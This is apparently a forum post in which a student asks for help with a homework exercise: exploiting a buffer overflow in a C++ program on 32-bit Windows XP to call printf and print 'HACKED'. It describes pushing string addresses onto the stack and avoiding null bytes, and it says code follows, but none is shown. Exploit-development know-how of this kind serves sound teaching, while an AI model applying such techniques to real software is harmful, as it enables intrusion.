Hi there, I have got a homework to hack program using buffer overflow ( with disassambling, program was written in C++, I haven't got the source code ). I have already managed it but I have a problem. I have to print some message on the screen, so I found out address of printf function, pushed address of "HACKED" and address of "%s" on the stack ( in this order ) and called that function. Called code passed well but nothing had been printed.
I have tried to simulate the environment like in other place in the program but there has to be something wrong. Do you have any idea what I am doing wrong that I have no output, please? Thanks a lot
EDIT:
This program is running on Windows XP SP3 32b, written in C++, Intel asm
there is the "hack" code

This code is really ugly because I am new in assembler and there mustn't be null bytes because of buffer-overflow bug
